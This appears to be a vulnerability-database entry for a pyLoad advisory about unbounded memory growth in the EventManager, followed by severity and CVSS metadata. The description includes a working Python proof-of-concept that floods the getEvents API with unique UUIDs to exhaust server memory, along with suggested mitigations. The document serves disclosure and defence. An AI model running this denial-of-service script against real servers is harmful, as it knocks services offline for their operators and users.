Advisory details:
pypa / pyload-ng/PYSEC-2026-2992
| Advisory ID | pypa/pyload-ng/PYSEC-2026-2992 |
| Aliases |
CVE-2026-48987
GHSA-c2f9-4mc8-j656 PYSEC-2026-2992 |
| Summary | pyLoad: Unbounded Memory Growth Leading to DoS and Potential DDoS in EventManager ## Description: The `EventManager` module in `pyload` manages a list of `Client` instances for subscribing to events. The addition of each unique `uuid` from the `get_events` API causes the creation of a `Client` instance that gets appended to the `clients` list. Although there is a `clean()` method available in the `EventManager` module for removing non-responding `Client` instances, this method is never used in the `EventManager` or in the entire core application code. Consequently, this causes an uncontrolled growth in memory consumption until it becomes exhausted, resulting in a DoS attack. ## Vulnerable Code: https://github.com/pyload/pyload/blob/355c3f8d78a91f72d049e58f1edee8a972f845eb/src/pyload/core/managers/event_manager.py#L16-L17 > Here the client is added to the `clients` list but never cleared the inactive clients. ## Exploitation: 1. **Start pyLoad server** (Ensure the `pyload` server is running) 2. **Authenticate**: Obtain a session cookie or an API key (Here i used the API key). 3. **Send Requests**: Run the below poc script to send a large number of requests to the `getEvents` API endpoint, each with a unique `uuid`. ```python import requests import uuid import time # Configuration URL = "http://localhost:8000/api/getEvents" NUM_REQUESTS = 100000 headers = { "X-API-Key" : "<YOUR_APIKEY>" } print(f"Starting DoS attack: sending {NUM_REQUESTS} unique UUIDs...") for i in range(NUM_REQUESTS): # Generating a new UUID uid = str(uuid.uuid4()) try: # Sending request requests.get(URL, params={"uuid": uid}, headers=headers, timeout=5) if i % 1000 == 0: print(f"Sent {i} requests...") except requests.exceptions.RequestException as e: print(f"Error at request {i}: {e}") break print("Attack complete. Check memory usage.") ``` 5. **Monitor Memory**: Monitor the memory usage of the `pyload` process (e.g., using `top`, `ps` or the following commands). ```bash PID=$(pgrep -f "pyload"); while true; do ps -o rss= -p $PID; sleep 1; done ``` 6. **Observe Growth**: Notice that the memory consumption increases and never decreases, even after the requests stop and 30 seconds. https://github.com/user-attachments/assets/28d460c9-655d-45a1-a47f-c0f4d196f686 ## Impact: - Denial of Service (DoS). The `pyload` process will consume all available system memory, leading to an Out-of-Memory (OOM) kill by the operating system or system-wide instability, affecting other services on the host. ## Mitigations: - **Invoke `clean()`**: Call `self.clean()` at the beginning of the `get_events` method to purge inactive clients before processing new ones. - **Rate Limiting**: Implement rate limiting on the `getEvents` endpoint to prevent a single client from flooding the server with unique UUIDs. |
| Status | Published |
| Exploitability | 0.5 |
| Weighted Severity | 5.9 |
| Risk | 3.0 |
| Affected and Fixed Packages | Package Details |
| Introduced and Fixed Package Commit Patches | Package Commit Patches Details |
| There are no known CWE. |
| System | Score | Found at |
|---|---|---|
| cvssv3.1 | 6.5 | https://github.com/pypa/advisory-database/blob/main/vulns/pyload-ng/PYSEC-2026-2992.yaml |
No EPSS data available for this advisory.
| Patch URL | |
|---|---|
| There are no known patches. | |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
There are no SSVC decisions available.